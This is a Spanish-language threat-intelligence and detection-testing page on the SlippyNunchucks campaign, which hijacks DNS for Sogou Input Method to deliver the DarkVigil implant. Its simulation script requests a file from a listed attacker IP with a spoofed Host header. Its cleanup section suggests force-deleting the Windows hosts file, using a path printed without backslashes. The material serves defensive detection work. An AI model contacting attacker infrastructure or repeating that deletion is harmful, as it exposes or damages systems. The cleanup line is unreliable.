La campaña de malware SlippyNunchucks explota la promoción de la marca Sogou

Resumen

El actor de amenazas SlippyNunchucks utiliza el secuestro de DNS para interceptar el tráfico HTTP inseguro generado por el Método de Entrada de Sogou. Esto permite a los atacantes inyectar una configuración maliciosa que inicia la descarga del implante de malware DarkVigil a través de técnicas de carga lateral. La campaña apunta principalmente a usuarios hablantes de chino en regiones de Asia y Europa.

Investigación

Investigadores de ESET descubrieron que el grupo abusa del mecanismo de promoción de marca dentro del Método de Entrada de Sogou, particularmente del componente SGTool.exe. La manipulación de DNS redirige solicitudes destinadas a puntos finales legítimos de configuración hacia infraestructura de etapa controlada por los atacantes. La investigación también reveló una cadena de carga lateral de múltiples etapas que involucra un ejecutable legítimo de Adobe renombrado para ocultar su presencia.

Mitigación

Tencent abordó el problema en la versión 16.10 del Método de Entrada de Sogou migrando solicitudes HTTP afectadas a HTTPS y introduciendo validación de certificados TLS. Los usuarios deberían actualizar a la última versión de software disponible para prevenir ataques de secuestro de DNS que inyecten y entreguen configuraciones maliciosas.

Respuesta

Cuando se detecta actividad maliciosa, las organizaciones deben investigar modificaciones no autorizadas de DNS e inspeccionar el tráfico de red en busca de conexiones a dominios de etapa conocidos como sogou-cdn.com. Los equipos de seguridad también deberían monitorear procesos secundarios sospechosos generados por los componentes del Método de Entrada de Sogou, incluyendo ejecuciones inesperadas de binarios de Adobe renombrados o DLL no firmadas cargadas desde directorios de componentes.

Ejecución de Simulación

Requisito previo: La verificación previa de Telemetría y Línea Base debe haber sido aprobada.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un diagnóstico incorrecto.

• Narrativa y Comandos del Ataque: El adversario tiene como objetivo simular un escenario de secuestro de DNS donde una solicitud a config.pinyin.sogou.com es desviada a una IP maliciosa. Para activar la regla de detección específica proporcionada, la simulación sorteará el DNS local y usará una dirección IP codificada (47.239.250.102) que coincide con los criterios de la regla. Esto imita el momento en que la respuesta de DNS secuestrada dirige el software de Sogou a un servidor controlado por el atacante para descargar una carga útil.

• Script de Prueba de Regresión:

  # Simulación de Secuestro de DNS mediante conexión IP codificada para activar la regla específica
  # Esto imita el intento del Método de Entrada de Sogou de alcanzar su servidor de configuración 
  # pero siendo redirigido a una IP maliciosa.
  
  $TargetDomain = "config.pinyin.sogou.com"
  $MaliciousIP = "47.239.250.102"
  
  Write-Host "[*] Iniciando simulación de generación de telemetría de Secuestro de DNS..."
  
  # Usamos una conexión IP directa para imitar el efecto de una resolución DNS secuestrada
  # Muchos registros de proxy registrarán el dominio solicitado mediante el encabezado Host 
  # incluso si la conexión se realiza a través de IP.
  
  try {
      $uri = "http://$($MaliciousIP)/update/config.bin"
      Write-Host "[*] Intentando conexión a $TargetDomain via $MaliciousIP"
  
      # Usando Invoke-WebRequest para simular el tráfico de red a través del proxy
      Invoke-WebRequest -Uri $uri -Method Get -Headers @{"Host"="$TargetDomain"} -TimeoutSec 5
  }
  catch {
      Write-Host "[!] Conexión fallida (Esperado, ya que probablemente la IP está fuera de línea), pero se debería haber generado telemetría."
  }
  
  Write-Host "[*] Simulación completa."

• Comandos de Limpieza:

  # Este script de simulación no realiza cambios persistentes.
  # Para limpiar artefactos a nivel de red si se añadieron (por ejemplo, archivo hosts), use:
  # Remove-Item -Path C:WindowsSystem32driversetchosts -Force (Requiere Administrador)
  Write-Host "[*] Limpieza completa. No se crearon artefactos persistentes."